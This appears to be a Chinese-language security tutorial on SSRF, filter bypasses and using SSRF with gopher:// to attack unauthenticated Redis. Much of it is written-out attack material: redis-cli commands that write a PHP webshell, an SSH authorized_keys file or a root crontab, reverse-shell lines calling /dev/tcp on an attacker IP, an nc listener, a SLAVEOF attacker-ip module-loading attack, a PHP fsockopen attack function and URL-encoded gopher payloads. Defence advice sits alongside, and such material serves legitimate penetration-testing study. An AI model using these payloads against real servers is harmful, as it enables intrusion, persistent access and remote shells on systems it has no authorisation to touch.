SSRF-Redis专题

SSRF-Redis专题
TakakeSSRF漏洞详解
以下是关于 SSRF(Server-Side Request Forgery,服务端请求伪造) 漏洞的详细解析,涵盖原理、危害、利用场景、防御方法等内容。
一、SSRF 漏洞基础概念
定义:
SSRF 是一种攻击者通过构造恶意请求,诱导服务器端发起非预期的网络请求的漏洞。攻击目标通常是服务器本身或内网资源,利用服务器作为“代理”访问受限资源。
核心问题:
服务器未对用户输入的 URL 或参数进行严格校验,直接用于发起网络请求(如 HTTP、FTP、Redis 协议等)。
二、SSRF 攻击原理
攻击流程
1
攻击者构造恶意请求 → 服务器接收请求 → 服务器发起非预期请求 → 访问敏感资源或服务
常见触发点
- 用户输入 URL 参数(如图片下载、网页抓取、API 调用)。
- 服务器功能依赖外部资源(如 OAuth 授权、XML 解析)。
- 云服务元数据接口(如 AWS/Aliyun 的
169.254.169.254
)。
三、SSRF 的危害场景
访问内网服务
- 扫描内网端口和服务(如 Redis、MySQL、Consul 等未授权服务)。
- 攻击本地服务(如
http://127.0.0.1:8080/admin
)。
读取敏感文件
- 利用
file://
协议读取服务器本地文件(如/etc/passwd
)。
- 利用
攻击云元数据
- 获取云服务器临时凭证(如 AWS EC2 的 IAM 角色密钥)。
协议滥用
- 使用
gopher://
、dict://
等协议与内网服务交互(如 Redis 未授权执行命令)。
- 使用
反射型攻击
- 将服务器作为跳板发起 DDoS 或钓鱼攻击。
四、SSRF 漏洞利用方式
1. 基础利用示例
1 | GET /download?url=http://attacker.com/malicious.jpg |
服务器访问 http://attacker.com/malicious.jpg
,可能触发攻击者控制的逻辑。
- 协议利用
使用 file://
、gopher://
、dict://
、tftp://
、ldap://
等协议:
1 | // 需要allow_url_fopen=On |
2. 高级利用技巧ByPass
1.进制编码绕过
利用工具IPFuscator生成多种进制地址
1 | #!/usr/bin/env python3 |
使用方式,每一个都可以进行尝试
python IPFuscator.py 192.168.100.1
1 | IPFuscator |
2.本地回环简写绕过
3.域名泛解析绕过
- 例如当www.xxx.com存在域名泛解析的配置,当我们直接ssrf请求这个地址被过滤,那我们可以使用泛域名解析任意前缀abc.xxx.com->www.xxx.com这样就会执行到www.xxx.com
4.利用句号代替“.”绕过
- ping 192。168。100。1
5.短链接绕过
- 利用短链接生成网站,生成短链接,其实本质就是域名地址重定向,将生成的短链接地址指向我们想要访问的地址。
6.注释绕过/路由绕过
- curl http://192.168.100.1#@test.com
- 可用于白名单绕过
7.利用封闭的字母数字绕过
- curl ①⑨②。①⑥⑧。①00。①
1 | ┌──(kali㉿kali)-[~/Desktop/attackTools] |
8.[::]利用ipv6解析绕过
9.CRLF编码转换绕过
- 在请求数据包阶段可用
1 | %0d -> 0x0d -> \r |
- example.com/?url=http://eval.com%0d%0aHOST:FUZZ.COM%0d%0a
10.域名指向绕过
- 域名指向本地回环地址,当服务端解析了这个域名后请求的是本地回环地址。
- xxx.com -> 127.0.0.1
11.重定向绕过
- curl http://[email protected]:81
- 这样实际上请求的就是127.0.0.1:81这个端口
- 利用条件是当且仅当第一段url没有后面的链接例如
curl http://192.168.100.1/[email protected]:81
,是无法从定向的实际还是请求的是192.168.100.1:80的服务,后面url是/useruid.ini@127.0.0.1:81。
五、攻击步骤
- 验证是否能狗对外发起指定请求,利用dnslog验证。
- 验证当前支持哪些协议,http、dict、gopher、file
- 验证是否支持回环地址
- 内网段ip探测
- 探测具体服务 ,例如mysql 或者 redis
- 发起恶意攻击 (getshell)
六、SSRF 漏洞防御方案
1. 输入校验与过滤
- 白名单校验
限制允许的协议(仅HTTP/HTTPS
)和域名/IP。 - 禁用危险协议
禁止file://
、gopher://
、dict://
等协议。 - 正则匹配
检查 URL 是否包含内网 IP(如127.0.0.1
、192.168.0.0/16
)。
2. 网络隔离与权限控制
- 服务器网络隔离
禁止服务器访问非必要的内网服务。 - 最小化权限
运行服务的进程使用低权限用户,限制文件读取能力。
3. 安全编码实践
- 避免直接使用用户输入
使用中间代理或缓存服务器处理外部资源。 - 使用安全库
如 Python 的requests
库代替urllib
,避免自动处理协议。
4. 云环境防护
- 限制元数据接口访问
通过云安全组或 IAM 策略限制对元数据接口的访问。 - 使用临时凭证
避免在元数据中存储长期有效的密钥。
5. 监控与日志
- 记录异常请求
监控服务器发起的非预期请求(如访问127.0.0.1
或云元数据)。 - 部署 WAF
使用 Web 应用防火墙拦截 SSRF 攻击特征。
七、经典案例
Redis 未授权访问 + SSRF
- 利用
gopher://
协议发送 Redis 命令,写入定时任务反弹 Shell。 - 防御:禁用非 HTTP 协议,限制 Redis 绑定 IP。
- 利用
WordPress 图片抓取 SSRF
- 通过媒体上传功能触发 SSRF,访问内网服务。
- 防御:校验图片 URL 白名单。
XXE + SSRF
- 通过 XML 外部实体注入触发 SSRF,读取服务器文件。
- 防御:禁用 XML 外部实体解析。
八、工具与检测
- 测试工具
- Burp Suite(Collaborator 检测 SSRF)。
- SSRFmap(自动化漏洞利用工具)。
- 在线检测
- 请求
http://169.254.169.254
测试云元数据暴露。 - 使用 DNSLog 平台观察服务器是否发起 DNS 查询。
- 请求
九、总结
SSRF 是服务器安全的高危漏洞,可穿透内网边界,结合其他服务(如 Redis、云元数据)造成严重危害。防御核心在于 严格校验输入、限制网络权限、最小化服务暴露。开发中需始终遵循“不信任用户输入”原则,结合安全配置和监控降低风险。
Redis 未授权访问漏洞详解
CNVD-2015-07557 是 Redis 数据库中的一个严重未授权访问漏洞,攻击者可以通过未授权访问 Redis 服务,利用 Redis 的文件写入功能实现远程代码执行(RCE)或获取服务器权限。以下是该漏洞的详细解析,包括漏洞原理、利用条件、影响版本及复现步骤。
1. 漏洞背景
Redis 是一个开源的高性能键值存储数据库,广泛应用于缓存、消息队列等场景。由于 Redis 默认配置下未启用身份验证,攻击者可以直接连接到 Redis 服务并执行任意操作,导致未授权访问漏洞的产生。
2. 漏洞原理
漏洞的核心在于 Redis 的 未授权访问 和 文件写入功能:
未授权访问:
- Redis 默认绑定在
0.0.0.0:6379
,且未启用密码认证,导致攻击者可以直接连接并操作 Redis 数据库。
- Redis 默认绑定在
文件写入功能:
- Redis 提供了
config set dir
和config set dbfilename
命令,允许用户设置数据库文件的存储路径和文件名。 - 攻击者可以通过这些命令将恶意数据写入目标服务器的文件系统,例如写入 WebShell、SSH 公钥或定时任务,从而实现远程代码执行或提权。
- Redis 提供了
利用方式:
- 写入 WebShell:将恶意代码写入 Web 目录,通过访问 WebShell 执行命令。
- 写入 SSH 公钥:将攻击者的公钥写入目标服务器的
authorized_keys
文件,实现免密登录。 - 写入定时任务:将恶意命令写入定时任务文件,实现命令执行。
3. 影响版本
- 受影响版本:
- Redis <= 5.0.5。
- 修复版本:
- Redis 5.0.5 及以上版本已修复该漏洞。
4. 漏洞利用条件
目标系统:
- 运行受影响版本的 Redis。
- Redis 服务未启用密码认证。
- Redis 绑定在
0.0.0.0
或暴露在公网。
攻击者权限:
- 攻击者能够访问目标 Redis 服务的端口(默认 6379)。
文件写入条件:
- 写入 WebShell:需要知道 Web 目录路径并具有写权限。
- 写入 SSH 公钥:需要 Redis 以 root 权限运行,且目标服务器允许 SSH 密钥登录。
- 写入定时任务:需要 Redis 以 root 权限运行,且目标系统支持定时任务执行。
5. 漏洞复现
以下是漏洞复现的简要步骤:
环境搭建
- 使用 Docker 或虚拟机搭建 Redis 环境(如 Redis 4.0.10)。
- 确保 Redis 未启用密码认证,并绑定在
0.0.0.0
。
写入 WebShell
使用 Redis 客户端连接目标 Redis 服务:
1
redis-cli -h 目标IP
设置 Web 目录和文件名:
1
2config set dir /var/www/html
config set dbfilename shell.php写入恶意代码:
1
2set test "<?php phpinfo(); ?>"
save访问 WebShell:
- 在浏览器中访问
http://目标IP/shell.php
,查看是否成功写入。
- 在浏览器中访问
写入 SSH 公钥
在攻击机上生成 SSH 密钥:
1
ssh-keygen -t rsa
将公钥写入 Redis:
1
2(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx设置 Redis 文件路径:
1
2
3config set dir /root/.ssh
config set dbfilename authorized_keys
save使用 SSH 登录目标服务器:
1
ssh -i ~/.ssh/id_rsa root@目标IP
写入定时任务
设置定时任务目录:
1
2config set dir /var/spool/cron # /var/spool/cron/crontabs
config set dbfilename root写入反弹 Shell 命令:
1
2set yy "\n\n* * * * * bash -i >& /dev/tcp/攻击机IP/5555 0>&1\n\n"
save在攻击机上监听端口:
1
nc -lvp 5555
等待定时任务执行,获取反弹 Shell。
可能会出现各种问题:
各个版本的linux发行版或者新旧版本,定时任务目录不同。
写入的文件没有执行权限,或者目录没有写入权限。
或者目标服务器根本没有使用过公私钥方式进行登陆,因此不存在.ssh文件夹。
写文件时还得尽量保证redis的键值对清空,否则写入执行不了,或者链接不上。
redis 不支持”~”字符,仅支持绝对路径,而root目录,大概率权限又不够,因此不知道用户名的情况下,很难写入公钥文件。
反正就是成功率很低。
6. 修复建议
启用密码认证:
- 在
redis.conf
中设置requirepass
参数,启用密码认证。
- 在
绑定 IP:
- 修改
redis.conf
中的bind
参数,限制 Redis 仅监听本地或可信 IP。
- 修改
禁用高危命令:
- 使用
rename-command
禁用config
、save
等危险命令。
- 使用
防火墙策略:
- 使用防火墙限制 Redis 端口的访问范围,仅允许可信 IP 访问。
7. 总结
CNVD-2015-07557 是一个高危的未授权访问漏洞,影响范围广泛,利用条件简单。建议用户尽快启用密码认证、限制访问权限,并升级到最新版本,以避免潜在的安全风险。通过禁用不必要的功能和实施安全策略,可以有效降低漏洞被利用的风险。
说实话不好成功,唯一还算可以成功的的就是redis写webshell,redis只让127.0.0.1访问,使用ssrf gophar协议,进行文件写入,实现远程RCE。
SSRF结合Redis利用
利用SSRF(服务器端请求伪造)结合Redis未授权漏洞进行内网渗透的攻击流程可分为以下几个阶段:
1. 漏洞探测阶段
1.1 确认SSRF漏洞存在
- 目标场景:找到存在SSRF漏洞的功能点(如URL参数、文件解析、Webhook回调等)。
- 验证方法:若服务器请求了攻击者控制的地址,则存在SSRF。
1
GET /api/fetch?url=http://attacker-controlled.com
1.2 探测内网Redis服务
- 目标:通过SSRF扫描内网IP和端口,寻找开放的Redis服务(默认端口6379)。
- Payload示例(基于HTTP协议):
1
GET /api/fetch?url=dict://192.168.1.10:6379/info
- 若返回Redis版本信息(如
redis_version
),则存在未授权访问。
- 若返回Redis版本信息(如
2. 利用Redis未授权漏洞
2.1 PHP 内置 Gopher 协议支持的版本差异
- PHP < 5.3:原生支持
gopher://
协议处理器(如file_get_contents('gopher://...')
) - PHP ≥ 5.3:移除了 Gopher 协议支持,直接使用
gopher://
会报错,但通过fsockopen
手动构造 TCP 请求仍有效。
PHP 版本 | 影响点 | 解决方案 |
---|---|---|
PHP ≥ 5.3 | 禁用内置 Gopher 协议 | 使用 fsockopen 手动构造请求 |
PHP ≥ 7.0 | 更严格的错误处理机制 | 确保命令格式完全符合 RESP 协议 |
全版本 | disable_functions 限制 |
检查是否禁用网络相关函数 |
攻击代码的版本兼容性
以下代码在所有 PHP 版本中均可运行(需
fsockopen
未被禁用):1
2
3
4
5
6
7
8
9
10
11
function attackRedis($host, $port, $payload) {
$socket = fsockopen($host, $port, $errno, $errstr, 3);
if (!$socket) die("连接失败: $errstr");
fwrite($socket, $payload);
return stream_get_contents($socket);
}
// 示例:发送 FLUSHALL 命令
$payload = "*1\r\n\$8\r\nFLUSHALL\r\n";
echo attackRedis('192.168.1.100', 6379, $payload);
2.2 利用Gopher协议构造Redis命令
Redis使用自定义二进制协议,需通过支持原始TCP的协议(如gopher
)发送命令。
Gopher协议格式:
1
gopher://<目标IP>:<端口>/_<经过URL编码的Redis命令>
关键步骤:
- 构造Redis命令(示例:写入SSH公钥)。
- 将命令转换为Redis协议格式。
- URL编码后通过SSRF发送。
2.3 生成Redis协议Payload
以写入SSH公钥为例:
1 | # 1. 生成公钥 |
将生成的二进制协议数据通过Gopher发送。
2.4 redis命令格式
- redis的命令接受是通过TCP请求,发送二进制数据实现的命令注入。因此发送的二进制数据需要符合RESP格式。
- 具体格式如下:
- *1 ;*号表示当前命令的开头,*后的数字表示该行命令的字符串个数,即该行命令为FLUSHALL,只有一个字符串。而*4表示该行命令有4个字符串,即config set dir /var/spool/cron。
- $8; 而表示后面后一串命令字符串,且字符长度为8,即FLUSHALL,$6表示6个字符的命令关键字为CONFIG
- 同时每个字符串,包括标识符*1或者$8都使用CR LF进行分割,即\r\n,是不可见字符,\r\n只是转义的表示,不可直接将\r\n进行url编码获得CR LF,而是直接将字符编码为%0D%0A即可。
- 知道了具体格式那么我们就可以手撸payload了,例如只传输一个SAVE指令。
1 | gopher://_*1%0D%0A$4%0D%0ASAVE%0D%0A |
- 或者利用python代码生成payload url
1 | import urllib.parse |
2.5 通过SSRF发送Payload
- Payload示例:
1
gopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A/root/.ssh%0D%0A...
- URL编码后的Gopher链接通过SSRF触发:
1
GET /api/fetch?url=gopher://192.168.1.10:6379/_<encoded_payload>
- URL编码后的Gopher链接通过SSRF触发:
3. 获取权限
3.1 SSH登录
若写入公钥成功,直接通过SSH连接:
1 | ssh -i id_rsa [email protected] |
3.2 其他利用方式
- 写入Crontab定时任务:
1
2
3
4CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/attacker-ip/port 0>&1\n"
SAVE - 主从复制攻击(Redis 4.x/5.x):
1
2SLAVEOF attacker-ip 6379
MODULE LOAD /path/to/exp.so
4. 横向移动
- 信息收集:获取内网拓扑、其他服务凭证。
- 利用Redis作为跳板:通过已控制的Redis服务器进一步渗透内网。
防御建议
- 修复SSRF:
- 禁止非预期的协议(如
gopher
、dict
)。 - 校验请求目标是否为合法地址。
- 禁止非预期的协议(如
- 加固Redis:
- 绑定IP为
127.0.0.1
。 - 设置强密码认证。
- 启用
protected-mode
。
- 绑定IP为
- 网络隔离:限制内网服务的访问权限。
注意事项:
- Gopher协议可能被现代Web框架禁用。
- Redis的目录权限需允许写入(如
/root/.ssh
需存在)。 - 不同操作系统和Redis版本可能影响利用成功率。